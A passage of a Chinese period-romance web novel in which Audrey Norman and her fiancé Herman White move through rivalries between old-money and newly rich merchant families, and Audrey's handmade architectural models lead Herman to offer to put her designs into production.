“抱歉抱歉。”莫尔太太连声致歉,嗓子都发着抖。 奥黛丽看出她的紧张,可自己越关照她,她好像就越忐忑。 奥黛丽只好抱着帕比玩了一会儿,假装没有把刚才的事情放在心上。 莫尔太太偷觑着奥黛丽的脸色,见她没有不高兴,才长长地松了口气。 出门前,莫尔先生再三警告妻子,一定要将这件差事做好,务必讨得怀特太太的欢心。 作为崛起的新贵,赫尔曼·怀特在海外积累了大笔资产,垄断锡兰到赫斯兰、埃尔美的运输航线。几乎拿捏着所有想对外贸易的商人命脉。莫尔早就想抱住这只金大腿,一直不得其法。 前天一早,莫尔被叫到赫尔曼的办公室,去的路上还在想哪里得罪了这位大亨?结果人家要找他夫人! 这可是绝佳表忠心的机会!莫尔当然不会放过。 此刻,莫尔太太回想着丈夫兴奋又紧张的眼神,稍微镇定下来。 “怀特太太,不介意的话,我现在为您介绍肯特郡的社交圈?” “洗耳恭听。”奥黛丽心中暗想,莫尔太太看起来不像交际能手。 “听说您出身洛森郡贵族家庭,想必来之前应该知道,我们肯特郡与南方不同,往北是集中工业区,这里云集了锡兰公国大量的商人与投机者。” 奥黛丽笑道:“当然,谁会不知道锡兰财富之都呢。” 莫尔也笑了起来,露出与有荣焉的神情:“我们全家从南方搬迁而来,那时候穷得连黑面包都吃不起。现在,我的丈夫成为工厂主之一。” 经此提醒,奥黛丽终于想起来“莫尔”这个名字。 “噢!大名鼎鼎的北方纺织厂是你先生创办的!听说规模很大。” “乘时代的东风,我们立足得早。”莫尔太太谦虚笑道,“依我对肯特郡的了解,大部分的社交舞会,您都不必过分担忧。您能光临哪位夫人的宴会,她们会开上三天的香槟庆祝。” “对于这部分人,假如真的有冒犯您的,大可同我说。”莫尔太太脸上的忐忑渐消,露出些许得意,“我在肯特郡还算说得上话。” 奥黛丽再傻也听明白了,肯特郡的商人有求于赫尔曼。而这些商人都以莫尔为首,所以莫尔太太才有资格被邀请来温斯顿,充当她的领路员。 人家才不社恐,只是在该讨好的人面前讨好,平时也是很威风的太太。 “除了我们这些外来客,肯特郡还有一些以布鲁森家族为代表的老牌商人。”莫尔太太顿了顿,眼底划过讥讽,“他们与许多贵族都有姻亲,曾经是财富中心的垄断者。现在时代变了,他们却还顽固不化,把守着圈子不让我们进去。” 奥黛丽有些不安:“所以,布鲁森家的舞会是想笼络我们吗?” 莫尔太太似乎没料到奥黛丽会问出这么浅显的问题,但面上不敢怠慢,细心解释:“不,不是笼络,而是邀请我们加入他们的游戏。” 众所周知,所谓上流社会的圈子,也是需要新鲜血液的。 这个门槛必须足够高,才能体现出老钱家族的地位;但又不能完全将所有新人拒之门外。 因为一旦新贵们拧成一股绳,自发组成新的圈子,那么老钱们的阶级游戏也就没意义了。 奥黛丽逐渐明白过来,对宴会不再恐惧。约定下周宴会上碰面,莫尔太太起身告辞- 宴会当天,露西早早帮奥黛丽装扮。 当她穿着一身浅绿色礼服长裙缓缓下楼时,赫尔曼已经等在楼下。 深灰色的眼睛扫了眼未婚妻,目光定格在她盘起的金发上——初见那天,奥黛丽也是戴着这个小发冠,白色珍珠闪闪发光。 在奥黛丽抬眸时,赫尔曼不着痕迹挪开视线。 他伸出胳膊示意,奥黛丽却没反应。 她目不转睛地看着赫尔曼今天的装束,“你用了我送的发带!” 赫尔曼撇开眼,再次伸出胳膊,“诺曼小姐,你的打扮时间超过两小时,再把时间用在追问蠢问题上,我们就会成为全场瞩目的压轴嘉宾。” “噢!”奥黛丽最怕高调,赶紧挽住赫尔曼。 戴着长袖丝绸手套的手,触碰到胳膊,并没有发现肌肉有一瞬间的僵硬。 仆从开好车门,赫尔曼把未婚妻送上去,自己从另一侧上车。 马车行驶时,银头发先生听见身边的小姐在哼歌。 “看来莫尔太太给了你极大的信心。” “才不是。”奥黛丽抿唇微笑,蓝眼睛坦然直视他,“你知道我为什么开心!” 赫尔曼嗤笑一声:“诺曼小姐,请别脑补太多罗曼蒂克。发带是男仆罗宾随手拿的,很可惜我的后脑勺没长眼睛,否则会第一时间取下来。” 话音落下,马车里陷入沉默。 生气了? 赫尔曼的左手无意识摩挲着银质手杖,不经意往右侧瞥了一眼。 只见奥黛丽托着腮看向窗外,看起来没有不高兴。 “怀特先生。”她突然转过头。 赫尔曼立刻收回目光。 奥黛丽浑然不觉,自顾自道:“我没有脑补不该想的事情。我只是觉得,你愿意用我的礼物,就证明认可了我,难道不是好事吗?干嘛那么抗拒?你那天收到礼物,明明就很高兴。” 赫尔曼面无表情:“别对我进行莫须有的解读。” 奥黛丽畏惧他威严的神色,缩回角落,小声嘟囔:“就是高兴!” 赫尔曼:“……” 奥黛丽又轻哼:“我们都是夫妻,为什么要冷冰冰相处一辈子呢?就算没感情,做朋友总行吧。假如朋友送了你礼物,你也要把它扔掉吗?” 赫尔曼不说话。 “肯定不会啊!所以为什么要扔我的呢?”奥黛丽背对着他,嘟嘟囔囔。 “诺曼小姐,不是每个人都需要朋友。”赫尔曼抬眸,眸光闪过不耐,“我没有朋友,也不用收礼物,就算误用了你的礼物,也不代表什么。” 奥黛丽刚要愤怒,听着听着神情就变了。 “你长这么大没有朋友?”水蓝色的眼睛里充满同情。 赫尔曼皱眉:“?” 奥黛丽叹了口气,人也坐直了,眼神里的谴责也消失了。 “那我原谅你了。” “原……谅?” 赫尔曼深吸一口气,闭了闭眼。 这家伙脑补了什么,用一副看缺爱可怜虫的眼神看着他。 手指紧攥着手杖,银头发先生正准备用锋利的话语击碎她的幻想,就像第一次见面那样。 这次她没睡着,很可能会哭唧唧,但那不重要。 反正,他们只是表面夫妻,最好什么交情也别有,更别提什么可笑的朋友。 尤其是……那天过后,扰乱自己的某些情绪,正好彻底丢弃。 想至此,赫尔曼缓缓睁开眼。 正当他要开口的时候,车夫喊道:“先生,夫人,布鲁森庄园到了。” 车门打开,奥黛丽当先下车,漂亮的浅绿裙摆在空中划过圆形弧度。 赫尔曼的视线停留在她的身上,直到水蓝色的眼睛看向他:“赫尔曼,还不下车吗?” 凝视着那双眼睛,他沉默片刻。 算了,狠话留到下次吧- 布鲁森家族庄园,宾客云集。 许多受邀的新贵,都是第一次踏进这间风格古朴的宴会厅。 以莫尔夫妻为首的众人神情并未露出谄媚,只是悄悄打量着老钱家族与自家不同的装潢。 老布鲁森这次来势汹汹,使足了劲儿要在他们面前展示底蕴。 小到餐盘摆设和侍应生的制服纽扣,大到墙上的壁画和摆设的古董,通通透着低调的豪奢。 而另一边,老钱世家们也在不着痕迹地打量他们。 两拨人虽然距离很近,却泾渭分明。 突然,门边的侍应生用低沉的腔调传报:“怀特先生——怀特太太到。” 一时间,所有人都望了过去。 部分自视甚高的老钱家族,并未与赫尔曼打过交道。这位出身埃尔美的贫民窟富豪,如今已成为肯特郡不容忽视的新贵领袖,他们嘴上不说,心里也很想见到这位传奇人物。 尤其是,听说今年他娶了一位男爵的女儿,还与斯宾塞公爵成了连襟! 于是投向来者的视线十分复杂,有好奇、有不屑、有艳羡、还有审视。 莫尔夫妻那边则纯粹很多,所有新兴商人都想背靠怀特这棵大树乘凉。 如果不是赫尔曼的崛起动摇了布鲁森的地位,那么这场迎新的宴会都不复存在。 大门缓缓拉开,绿色的裙摆紧贴着燕尾服,一对壁人携着手步入厅堂。 莫尔先生与莫尔太太最先迎上前。 “怀特先生,怀特太太。” 理查德·布鲁森,一位头发花白但精神矍铄的老绅士,此刻也热络地走到赫尔曼身边。 “好久不见,我年轻的朋友。”老布鲁森叼着烟斗,“噢!这位就是您的未婚妻,来自洛森郡的诺曼小姐,幸会!” “布鲁森先生,幸会。”奥黛丽颔首行礼,不由自主地看了眼赫尔曼,挽着他胳膊的手也紧了紧。 察觉到身边的异样,赫尔曼开口道:“幸会,布鲁森先生,这里交给女士们,我们换个地方交谈吧。” “再好不过了。”理查德点点头,对奥黛丽摘帽颔首,“诺曼小姐,失陪了。丽莎,招待好贵客,不要怠慢。” “是,爷爷。” 不远处走过来一位年轻女士,和奥黛丽年龄相仿,是布鲁森家族那位嫁到伯爵府的小姐,理查德的孙女。 丽莎飞速打量了一遍奥黛丽,微笑颔首:“诺曼小姐,请跟我来。” 赫尔曼看见奥黛丽一步三回头,冲莫尔夫妇抬了抬下巴。 莫尔太太立刻跟上前,挽着奥黛丽的另一只手,“怀特太太,我们一起走吧。” 看见熟人,奥黛丽如释重负,满口答应:“好。” 和理查德往办公室走的赫尔曼收回视线,对上老头含笑的眼睛。 “噢,怀特先生,老头子我也年轻过,明白即将成婚的单身汉照顾女士的心,更何况诺曼小姐还是你与公爵府的关系纽带,不可谓不重要。”理查德一语双关,眸中暗含深意。 赫尔曼轻笑,眼底平静无波:“是的,布鲁森先生,我已经在别的地方买到了上流社会的门票,你的宴会,来得太晚了。” 他说到上流社会时,音调充满讥讽。 理查德含着烟斗笑道:“能用钱买到的关系,成不了你的靠山。” 赫尔曼:“只有砸得不够多的人,才会这么说。” 理查德脸色暗了暗:“年轻人,别固执,我们的规则从锡兰公国建立起延续至今。老头子我是真心想拉拢你,错过一次,不再有下次。” “是吗?规则当然不会改变,只会像历史一样循环。”赫尔曼缓缓前进,手杖敲击地面,声音清脆,“布鲁森家族传到这一代,也才百来年。你难道看不清楚,时代已经变了吗?理查德。” 他顿了顿,轻笑:“你为什么觉得自己永远是规则的制定者?” 气氛陡然凝滞。 理查德放下烟斗,细细擦拭,苍老的脸上不再有笑意:“这是没得谈了?” “不。”赫尔曼淡淡道:“真要没得谈,我根本不会来。” “你的条件是?” 赫尔曼慢条斯理地掏出怀表:“让市政议会通过我的土地购买申请,每年我会分你百分之十的铁路股权分红。” “百分之十?”理查德冷笑,“年轻的先生,这个玩笑并不好笑,没有诚意的交易是羞辱。” 赫尔曼忽然笑了一声。 “理查德,议会那边我有无数种手段让他们点头。你觉得我在和你商量吗?”他顿了顿,深灰色眼睛眸光幽深,“把这个机会给你,做好了,就是布鲁森家族进入新游戏的投名状。” “投名状?赫尔曼·怀特,你最好知道自己在说什么。” 老布鲁森活了七十年,第一次被人如此对待。 “我很明白,没有看清形势的人……”赫尔曼看向他,“是你,理查德·布鲁森。” 一老一少目光对峙,涵养使他们没有破口大骂,但双方的脸色已经结冰。 “好吧,怀特先生,很遗憾,布鲁森游戏的大门已向你关闭。”理查德微笑伸手。 赫尔曼碰了碰他的手,连手套都没摘,径直转身离开。 身后传来理查德的声音:“年轻的先生总是冲动,但愿你别后悔。” “年迈的人,总是不愿意承认自己已经日薄西山。”赫尔曼头也不回,“同样的忠告,送还给你。”- 男人们的争端并没有显露在明面上。 在众人面前,赫尔曼与理查德仿佛什么事也没发生过。 奥黛丽没料到赫尔曼这么快下来,笑着跑到他身边:“你回来了?刚刚丽莎小姐邀请我加入她们的手工艺品慈善拍卖会,以前在家的时候,我妈妈也参加过。你说这个我能去吗?” 拍卖会? 这向来是太太社交圈的标志活动,只有获得她们认可的家族才有资格去。 前脚他和布鲁森撕破脸皮,后脚他家的女士就邀请他太太参加活动? 赫尔曼眸光微动,看了眼莫尔太太。 莫尔太太隐晦地摇摇头,暗示来者不善。 老钱势力显然还没有接纳新钱团体,太太圈的风向随形势而变,怕是有诈。 赫尔曼正要开口,对上奥黛丽希冀的眼神,话到嘴边莫名其妙变成了:“你很想去?” “也不是……”奥黛丽腼腆地笑了笑,“好吧,有一点。拍卖会筹集的资金都会用去做慈善,很有意义的!” 她顿了顿,又认真补充:“当然,前提是不给你造成麻烦,如果你有其他考虑,我可以不去。” 虽然说不去,蓝眼睛里还是有些委屈。 这张脸别想藏住一点儿事…… 赫尔曼撇开眼,“可以去。” 奥黛丽眼睛亮了起来,搂着他的手臂,再三确认:“真的吗?!怀特先生?” 赫尔曼下意识抽出手。 但想到马上要离开,又只好伸出胳膊。等奥黛丽再次挽上来,他就迈步往外走。 “是真的吗?你刚刚看了莫尔太太一眼,是不是有顾虑啊?你别骗我。”她还在连声追问。 赫尔曼嗤笑。 不该敏锐的时候瞎敏锐。 “再问就不能去了。” 奥黛丽立刻捂嘴。 等坐到马车上,她才忍不住笑弯了眼睛。 赫尔曼睨着她:“丽莎·布鲁森人很精明,你这样的,能被她耍得团团转,现在还高兴吗?” 奥黛丽摇摇头,眼睛还是亮亮的,目不转睛地看着赫尔曼。 “不是的。”幽暗的马车里,她说,“我是觉得你对我真好,所以很开心。” 赫尔曼一怔。 夜晚光线昏暗,唯有发冠的珍珠透着莹润的亮,像她此刻柔和而纯澈的眼神。 突然,车窗被敲响。 赫尔曼撇开头。 是莫尔夫妇向他们告别。 临走时,莫尔太太欲言又止,还是低声对赫尔曼道:“您确定让诺曼小姐去吗?到时候恐怕会有难堪。” “一个慈善活动而已,她想去就去。”赫尔曼眼神平静,“让布鲁森看看,最后难堪的会是谁。” 莫尔夫妇对视一眼,彼此心里都有了底。 看这意思,怀特已经跟布鲁森开战,就看结局是老钱被洗牌,还是新贵被击垮。 合上车门,马车启程。 奥黛丽随口问:“莫尔太太和你说什么?” 赫尔曼眼也不眨:“她说丽莎会联合其他太太狠狠欺负你。” 奥黛丽嘟囔:“骗人,我们都是去做慈善的,为什么欺负我?她们才不会呢。” 赫尔曼盯着她有点肉的侧脸,突然很想掐一把,问问她脑子怎么时有时无。 “嗯,是不会。”赫尔曼没等她高兴,淡淡道,“也就是不许走正门出入,故意晾着你坐两天冷板凳,让你精心做的手工品卖不出去,把捐款榜公示出来羞辱你……就这些,没什么的。” “……”奥黛丽偏过头,不理他,“少吓唬我。我在家的时候经常和妈妈一起去,还有姨妈和姐……妹妹,我们做的小摆件可漂亮了,卖不完的就分给村里的孩子,不管赚多少钱,我们都很开心。当天晚上全家人会围着吃大餐,庆祝做了善事,我……” 说着说着,声音低了下去。 耳边叽叽喳喳的动静没了,赫尔曼抬眸。 看见奥黛丽靠着车窗,蓝眼睛里倒映着月亮,情绪有些低落。 赫尔曼突然明白她为什么那么想去慈善拍卖会,对她来说,这不是加入老钱圈子的证明,只是想家了。 “去吧,我骗你的,没人会欺负你。” 奥黛丽听见赫尔曼似乎轻轻叹了口气。 她的情绪来得快,去得也快,一时也忘了难过。 又凑上前盯着那双灰眼睛,笑意盈盈:“你真好,赫尔曼。” 她现在叫赫尔曼有些顺口了,吐字发音带着少女的娇俏,尾音上扬,连带着这个名字都染上阳光的味道。 赫尔曼静静注视着她。 心中又想,算了,狠话留给下次吧—— 作者有话说:三合一的大肥章!还满意你们所看到吗,甜心。 (狗头叼玫瑰)[狗头叼玫瑰] 祝各位女士们永远坚韧,永远自由。 放心哈,富商攻略王者奥黛丽亏不了一点钱! ! ! 赫尔曼:富商一 卡洛琳:富商二 给妹妹妹夫狠狠撒糖~ 赫尔曼:算了,狠话留给下次吧。 下次下次又下次~ 第24章 从前, 温斯顿庄园只有一位大忙人,现在多了一位。 接下来的几天,奥黛丽将全部热情投入到做手工的事业中,从早忙到晚。 赫尔曼也好不到哪里去,整天不见人影。 直到晚饭时间, 葛丽泰才见到他们。只不过, 大家还是各忙各的, 没人说话,库珀夫人只好和满屋子小怀特们玩。 翌日下午,奥黛丽终于完工,兴高采烈地领着葛丽泰参观。 “库珀夫人, 快看!这些全是我做的!” 自从露西把材料采购回来后, 奥黛丽就一个人在房间里捣鼓, 没人知道成品。 葛丽泰抱着帕比,笑着说:“我需要蒙住眼睛吗?诺曼小姐。” “如果你愿意的话。”奥黛丽捂着她的眼睛,两个人走进房间。 “准备好了嘛?要睁眼咯!”奥黛丽说,“三、二、一!” 葛丽泰已经做好准备,无论她做得怎么样,都要表现出惊叹。 可在睁眼的那一刻, 她发现所有心理建设都不必要—— 不大的房间里,摆着一座小型庄园模型,精美异常,像温斯顿庄园复刻版。 大到城堡主楼, 小到喷泉上的小天使雕像,还有庭院外的蔷薇花和泥土草坪,应有尽有。 更令人惊叹的是,搭建房子所用的主要材料很简单, 是时下家庭教师教小孩子的积木,以及手工课用的硬纸板。 只不过都按照图纸进行改良,拼凑在一起严丝合缝。还有的地方用金属进行焊接,甚至找来大理石石板和小块玻璃,模拟真正的地板和落地窗。 “我的天哪……”葛丽泰足足愣了数秒,捂住嘴巴,“亲爱的,我敢发誓,任何人看到它,都会发自内心地惊叹!” “谢谢!”奥黛丽很满意她的反应,笑着为她介绍,“除了这个最大的模型,我还准备了很多小东西,都是不同的主题,还有一些没完成的,库珀夫人要和我一起吗?” “我可以吗?”葛丽泰看着眼前奇迹般的小庄园,来了兴趣。 “当然!” 奥黛丽拉着她参观,“这是一座微型木桥,我用草图计算过,桥长和桥墩的比例和真正的桥梁一样,很适合给学数算的孩子们用。” 葛丽泰拿起小木桥,仔细观赏。 这个倒看不出名堂,但是下一件让她眼前一亮。 那是一个迷你的农舍小模型,建造方法和庄园异曲同工,只是更为简单。里面像模像样地铺着天鹅绒被褥,适合小猫小狗居住。 “这是我做的宠物屋,有点简陋,我不会缝纫,所以不知道该怎么装饰。”奥黛丽说。 葛丽泰道:“我能不能帮你?我可以做一些小风铃,还能做点适合放进去的玩偶。” “那太好了!”奥黛丽爽快拍板,“这个就交给你了,库珀夫人。” 两个人一拍即合,庄园大忙人又多了一个。 从下午到晚上,简易宠物屋升级为豪华小狗窝,还附加几个手工布娃娃,由库珀女士出品。 另一边,奥黛丽继续钻研新产品,她试着用藤条树枝编一个微型闸门,这是她在家时就有的想法。 诺曼庄园有很多农田,常常因为灌溉的不科学而导致作物减产。现在到了温斯顿,奥黛丽也发现了这个问题。 怀特家倒不靠农田吃饭,只是她上次去镇子上,遇到了一个向她讨六次钱的小乞丐。那个小孩告诉她,自己家里是佃农,去年的大旱影响收成,佃租交不上,饭也吃不饱,只能上街乞讨。 于是,奥黛丽又把从前的想法捡了起来。 如果她能设计出科学的水渠和闸口,这样农户们就能根据天气掌握灌溉手法。 “每根藤条隔两指宽,五根挡住水渠口,升起来留出水渠的空当……”奥黛丽沉浸在设计中,浑然忘我,嘴里念念有词,“如果要想固定闸口,我要做三个缺口,天旱开三分之一,下雨时全开……” 葛丽泰安静地看了她一会儿,没有打扰,轻手轻脚地下楼- 晚饭时间,赫尔曼踏进餐厅,里面只有侍候的仆从。 赫尔曼坐下问:“两位女士呢?” 新任管家威廉一边倒着葡萄酒,正要回话,葛丽泰进来了。 威廉颔首,帮她拉开椅子:“库珀夫人。” “谢谢你,威廉。”葛丽泰端起葡萄酒,抿了一口,“请吩咐厨房,诺曼小姐的晚饭在房间里吃,让露西送过去。” 威廉:“好的,夫人。” 赫尔曼吃了口菜,看向母亲:“她在忙什么?” “我不敢确保她愿不愿意提前透露。”葛丽泰兴致盎然,“总之是很杰出的作品,你看了一定会感到惊喜。” 虽是这么说,葛丽泰满脸写着“快来问我快来问我,追问我就告诉你。” 赫尔曼眼也不抬:“好啊,那就等她告诉我吧。” “赫利!”葛丽泰笑骂,“让你看出来了,我非要隆重向你介绍一位新兴女设计师不可!” 赫尔曼:“伊莎贝尔·诺曼?” “正是!你不知道她做的模型多么精美!”葛丽泰眉飞色舞,将奥黛丽的作品详细介绍。 开始是听个热闹,渐渐的,赫尔曼神情若有所思。 “你是说,她几乎一比一做出了庄园和桥梁,还有一个水渠闸口似的小摆件?” 葛丽泰不明白儿子为什么对狗窝不感冒,但很乐意看到他对奥黛丽的作品产生兴趣。 “是的,我想现在快完工了,你可以去看看。” 赫尔曼放下刀叉,深灰色眼瞳眸光微动。 “是的,我想我应该去看看。”- 托盘里的晚餐彻底冷透,奥黛丽却浑然不知饥饿与疲惫。 灯光下,她专注地打磨微型水闸最后的接口。 白嫩的手指被粗糙的木块磨得通红,还有些细小的木屑刺进其中。可这些疼痛丝毫没有影响她的投入。 赫尔曼站在房门外,看到的就是这样一幕。 奥黛丽穿着简约工作服,没有精致妆容。 淡金色卷发扎成丸子头,还有一缕额发不经意垂落。她空不出手,只好撅起嘴一吹,头发往上轻扬,吹完觉得滑稽,自己笑了起来。最后直起身,就着灯光最后检查作品。 那一刻,她蓝眼睛里纯澈的光,化作全然的认真与专注,不输任何锦衣华服的时刻。 “咚咚咚。”见奥黛丽已经完工,赫尔曼才敲了敲房门。 “你来了!”奥黛丽回头,眼睛一亮,笑着迎上前,“是不是库珀夫人跟你说了?” 赫尔曼:“嗯,她说你是杰出设计师。” “没有那么夸张。”奥黛丽羞涩一笑,眼睛却期待地看着他,“如果你愿意参观并给出意见,那就再好不过了!” 赫尔曼看了她一会儿,径直抬腿走了进去,“为什么不呢?” 奥黛丽更高兴了,雀跃地跟在他身后介绍。 赫尔曼没有敷衍,认真听了她的设计理念,甚至就数据和架构还提出疑问。 奥黛丽听出他是真的有兴趣,越发详细解答。 赫尔曼举着那座小木桥,一边听着奥黛丽的思路,一边有了想法。 葛丽泰只是外行人看新鲜,赫尔曼却知道,奥黛丽不是在设计玩具,这些看似微型的模具,都有落地建造的可能。 这意味着,诺曼女士是位真正的建筑师。 赫尔曼看向奥黛丽,忽然问道:“这都是家庭教师教你的?” 奥黛丽一愣,支支吾吾:“是……是我的家人。” 赫尔曼想起来她还有个嫁给公爵的妹妹,点点头:“你很有天赋。” 奥黛丽笑了起来,眸光温和:“是我的家人发现了我的特长。” 赫尔曼也轻笑:“很好的家人。” 这是第一次,奥黛丽听见赫尔曼肯定自己,以及她的家人。 因为债务关系被迫绑定的两个家庭,也是第一次在语言交流里,像正常婚姻家庭一样平常温馨。 赫尔曼还在欣赏庄园模型,没有注意奥黛丽的怔愣。 “你做的这些东西,我可以帮你投产,到时候算你以技术入股,五五分成。你的意见呢?” “什么?”奥黛丽差点以为自己听错了。 赫尔曼难得没有不耐烦,再次重复一遍。 奥黛丽感觉心底涌上一股热流,分不清是激动还是高兴。 “投产?分成?”奥黛丽眨了眨眼,指着自己,“我吗?” “当然。”赫尔曼看着她,“工厂名字你来拟定,可以以诺曼命名。” 奥黛丽被巨大的惊喜笼罩,还有点懵:“是不是以后我可以设计任何东西,工厂都能帮我做出来?” “技术能实现的范畴以内,理论上都可以。”赫尔曼有足够的资金,可以支撑新鲜想法的落地。 奥黛丽:“那我还能有分红?” 赫尔曼皱眉:“我克扣过你的花销吗?” “那不一样!”奥黛丽已经抑制不住地开心,拎着工作服的小围裙就转起圈,“我能赚钱了!还有属于我的诺曼工厂!我现在是设计师诺曼!” 灯光下,她脸上还有一块没擦掉的黑灰,脏兮兮,眼睛却神采奕奕,像那只被捡来的黛西小猫。 赫尔曼靠在墙边,目光注视着她,唇边一闪而过的笑意,“怎么样?设计师小姐,给出你的答复。” “我愿意我愿意我愿意我愿意!”她叠声答应,开心得语无伦次,“我一百个愿意!怀特先生!” 笑着笑着,蓝眼睛里泛起薄雾,她眼泪汪汪,异常认真地看着赫尔曼:“你怎么这么好啊?赫尔曼。” 和上次马车里那样,收到夸奖的赫尔曼并没有喜悦,而是一瞬间的怔愣。 说不上的感受。 赫尔曼只觉得左手火燎的伤疤莫名灼热,一直蔓延到喉头,掀起一股不知名的情绪。他好吗? 深灰色的瞳孔倒映着她纯真的眼神,那股情绪似乎又转移到了心脏。 只是花了一些对他而言不重要的钱,或是安排了莫尔太太帮助她,打声招呼的事。 这就是她认为的好吗? 诺曼小姐似乎总是记好不记仇,把那些伤人的话语抛在脑后,甚至忘记他们是如何开始的。 赫尔曼垂下眼眸,没有回应她的那句话,径直走了出去。 经过长廊,才恍然发现手里还握着那座小桥梁。 圆形的孔洞,弯曲的桥身,每个部位都经过精密测量,才能稳稳搭起一座桥,将对岸的人,送往这一头。 她是个杰出的建筑师,擅长从无到有,平地起高楼,甚至不经意就搭起一座桥。 通往哪里呢? 赫尔曼摘下手套,骇人的疤痕贯穿手掌,他无意识地按着心脏,细数频率,却怎么也算不明白。 通往哪里呢?他也不知道。 他只知道,自己明明一点儿也不好—— 作者有话说:奥黛丽:[狗头叼玫瑰]通往你的心门(wink) 赫尔曼:(面无表情)(快速走开)没有这回事,别多想。 粽宝存稿箱:报告,已经存稿到了月底,存稿箱会每天准时放送! (不能提前爆更因为要出远门QAQ) 小宝们的评论都有看,后面一段时间出门了可能没太有时间回复。希望大家看得开心~爱你们! [哈哈大笑] 第25章 留在原地的奥黛丽还在消化开心的情绪。 她妥善地打包好这些模型, 自信明天的慈善拍卖会上,这些宝贝一定能卖个好价钱! 毕竟是赫尔曼都认可的东西! 怀着无比澎湃的心情,奥黛丽度过失眠的一夜。 第二天, 莫尔太太准时上门拜访,预备和奥黛丽一起去慈善拍卖会。 奥黛丽指挥仆人小心搬运,这些模型十分脆弱,一路马车颠簸,千万不能碰碎。 莫尔太太看着她忙碌的背影,眼睛里闪过担忧。 赫尔曼正从楼梯上下来,查尔斯在一旁汇报市政议会的通过情况。 莫尔太太看见他, 赶紧迎上前:“怀特先生。” 她欲言又止, 看了眼门外的奥黛丽:“我需要提前跟诺曼小姐打预防针吗?以免她太过失落。” 门外, 奥黛丽细致嘱咐车夫, 要注意避开路上石头,尽可能放慢车速。 想起昨晚她认真制作模型的神情, 赫尔曼知道,她很重视这次拍卖。 眸光微动, 赫尔曼转头看向查尔斯:“市政这边不等了,吩咐尼古拉斯买入所有股票施压。明天下午, 我要看见布鲁森向我求饶。” 查尔斯瞪大眼:“明……明天?我的先生,这也太着急了,正常程序走完,后天就能结束了,何必……” “我说明天。”赫尔曼淡淡道,“别让我重复,查尔斯。” “好吧。”查尔斯耸肩,无法对支付薪水的人说不。 布鲁森投降是迟早的事, 提前一天而已,其实也不难。 查尔斯只是习惯性抱怨两句。 路过门口,临到上马车,看见正准备出发去慈善拍卖的奥黛丽,查尔斯忽然明白了什么。 他看了眼身旁仍旧沉默寡言的雇主先生,又看了眼隔壁马车兴高采烈,正在和莫尔太太说话的诺曼小姐,轻轻吹了个口哨,“喔,年轻且富有的单身汉,总是很难对美丽的未婚妻说不。” 赫尔曼缓缓撇过头,盯着查尔斯。 查尔斯立刻看向窗外,举手投降:“我明白我明白,人之常情嘛。” “收起你的揣测,我只是不想出现变故。”赫尔曼道,“下午如果我的办公桌上见不到通过的议案,我很难对你的涨薪请求说是。” 查尔斯怪叫:“噢!雇主阁下,那点狠心全用在我身上了。”- 慈善拍卖会在布鲁森家族庄园举行。 下午两点,各家太太的马车纷纷抵达庄园外,华丽的裙摆络绎不绝,周遭的空气都染上了馥郁的香味。 丽莎·布鲁森盛装打扮,站在门边招呼宾客,见到相熟的太太便颔首致意,场面很快热络起来。 “丽莎,你这位伯爵夫人又准备拿出什么珍品压倒我们?”布鲁森家族的忠诚拥趸比奇太太半开玩笑地问。 “噢,别开玩笑了,亲爱的。”丽莎优雅地摇着扇子,漫不经心地瞥了眼门外,“今天的主角是那位男爵小姐。” 众太太彼此眼神交汇,心照不宣地笑了起来。 这时,门口又停了一辆华贵的马车,一位身穿黑色克里诺林裙,头戴羽毛宽檐帽的女士缓缓而来。 丽莎很快迎上前,微笑颔首:“洁希亚夫人,您可是大忙人,今天怎么有空赏光?” 黑裙女人神色倨傲,不咸不淡地扫了丽莎一眼,似乎根本不把这位在当地小有威望的伯爵夫人放在眼里。 “慈善协会既然给我下了帖子,来或不来,就是我的事,有问题吗?布鲁森女士?” 丽莎脸色一沉,很快又笑起来:“没问题,这边请。” 她微笑着目送女仆将洁希亚领到贵宾席,笑意逐渐消失。 最开始搭话的比奇太太冷哼道:“一个死了丈夫的赫斯兰寡妇罢了,丽莎,依我看,你不必给她好脸色。” “不,是继承侯爵丈夫大笔遗产的有钱女人。”另一位太太阴阳怪气地笑着补充。 “我建议你小声点,叫她听见,可不会给你留颜面。”丽莎讥诮地扫了洁希亚一眼,“死了丈夫,她也只剩这么点强装的自尊了,何必拆穿她。” “丽莎你总是好心肠。”太太们附和起来。 丽莎·布鲁森心中冷笑,面上却友善。 今天可不是对付洁希亚的时候,而是那位……诺曼小姐。 丽莎的目光落在门外新来的马车上,只见熟悉的金发身影拎着裙摆下车,正向自己微笑。 “又见面了,布鲁森小姐。”奥黛丽兴冲冲地上前问好,礼貌颔首。 在她身后,莫尔太太面带警惕,高抬着下巴扫视全场。 老钱家族的太太们很会做表面功夫,都热络地招呼:“诺曼小姐,幸会。” “好久不见,诺曼小姐。”丽莎笑着上前贴了贴她的脸颊,“拍卖会快开始了,我正在等你呢。” “真抱歉,我带的东西太多了,路上不敢颠簸,所以走得慢些。”奥黛丽认真解释。 “没关系,亲爱的。”丽莎笑着回应,看向正在往里搬运东西的男仆,忽然惊讶道,“哎呀,诺曼小姐,我忘了说,大件的工艺品要走侧门,还请你带着男仆去吧。” 莫尔太太冷哼:“布鲁森小姐,请问这就是贵府的待客之道吗?你们家没有佣人吗?为什么要诺曼小姐领着男仆走侧门?” “莫尔太太,别生气。你没参加过拍卖会,不清楚规矩。”丽莎好脾气地笑道,“每个人的拍品都要由本人运送到后台,我们都是如此。” 她往后一看,身后的太太们纷纷点头。 比奇太太嗤笑:“莫尔太太,如果没有见识就跟在后面好好学,而不是自以为是地替主人出头。” “你!”莫尔太太脸色涨红,指着说话的比奇太太。 “莫尔太太,算了。”奥黛丽劝住她,对丽莎道,“布鲁森小姐,劳烦你指路吧。” 丽莎抬起扇子往外指,“往右走有一个向下的楼梯,穿过走廊就到了。” “好。”奥黛丽没有多说,吩咐男仆搬起东西跟上。 莫尔太太愤愤瞪着众人,冷哼一声,调头跟上。 等她们走远,一群人彼此对眼神,都笑了起来。 “这位诺曼小姐,当真是……”比奇太太以扇掩唇,隐晦地笑道,“天真无邪。” 丽莎眼带讥讽:“男爵小姐又怎么样?这个圈子可不是想进就能进的。” - 另一边,奥黛丽和莫尔太太走过狭窄的楼梯,一路往下,经过庄园的洗衣区、厨房区。 蕾丝绸缎裙摆扫过潮湿黏腻的地面,庄园的仆人停下手中的活,纷纷投来异样的目光。 莫尔太太捂着鼻子,忍受难闻的气味:“诺曼小姐,丽莎·布鲁森在故意捉弄你!” 奥黛丽垂着头,叮嘱男仆小心脚下,一边拎着裙摆避开滴水的晾衣杆以及杀鱼溅出来的血迹。 